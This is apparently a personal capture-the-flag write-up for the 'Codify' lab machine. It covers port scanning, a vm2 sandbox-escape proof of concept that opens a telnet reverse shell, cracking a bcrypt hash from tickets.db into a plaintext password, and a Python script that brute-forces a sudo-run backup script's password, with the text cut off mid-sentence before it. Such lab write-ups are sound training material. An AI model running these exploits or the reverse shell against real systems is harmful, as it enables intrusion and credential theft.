Notes
IP:
10.10.11.239
Difficulty:
Easy
User flag:
Root flag:
Nmap scan:
nmap -sV -p- 10.10.11.239
gives us:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu
Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
3000/tcp open http Node.js Express framework
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:li
nux_kernel
There is a code editor on the website http://codify.htb/editor.
Looking behind the scenes we find this javascript code:
const code = document.getElementById('code').value;
const encodedCode = btoa(code);
fetch('/run', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ code: encodedCode })
})
.then(response => response.json())
.then(data => {
const output = document.getElementById('output');
if (data.error) {
output.innerHTML = `<textarea rows="10" cols="50" class="form-control h-100" style="color: red;">Error: ${data.error}</textarea>`;
} else {
output.innerHTML = `<textarea rows="10" cols="50" class="form-control h-100" style="color: green;">${data.output}</textarea>`;
}
})
.catch(error => {
console.error(error);
const output = document.getElementById('output');
output.innerHTML = `<div style="color: red;">Error: ${error.message}</div>`;
});
}
It sends a a post request to http://codify.htb/run after having base64 encoded the input of the user. Looking at the post request deeper, it looks like this:
POST /run HTTP/1.1
(a bunch of headers)
{
"code":"bGV0IGFzZGYgPSAic2FkZmciCmNvbnNvbGUubG9nKGFzZGYp"
}
Hmm, no matter what I did I could not get any remote code execution to work let’s keep this on the backburner while we keep enumerating.
RCE with VM2
Going to the About page presents us with this.
Googling what VM2 is allows us to find a billion RCE CVE’s with level critical. It’s kind of funny how insanely vulnerable this library is haha.
I’m just going to copy paste some code from this PoC https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244 and use a telnet reverse shell so our code ends up looking like this:
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('TF=$(mktemp -u);mkfifo $TF && telnet {IP ADDRESS} {PORT} 0<$TF | sh 1>$TF');
}
Setting up a listener and…
We’re in.
However we’re the svc user so we cannot get the user flag just yet.
Privilege escalation
First thing we can do is spawn a shell with: `python3 -c ‘import pty; pty.spawn("/bin/sh")’
Now, first thing we can do is go in the /var/www/ folder. Snooping around in here finds us the tickets.db file. Catting that out and…
Gjoshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
bingo!
We just need to crack that password with john and we’re good to go.
john joshua.hash -w=/usr/share/wordlists/rockyou.txt
where joshua.hash is $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
gives us the following password spongebob1
what an absolutely amazing password.
All we need to do now is ssh into the machine with the password and we’re in and can cat out the user.txt file.
Getting root flag
As joshua doing sudo -l gives us this file (root) /opt/scripts/mysql-backup.sh
that we can run as root. However when we run it as root we
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True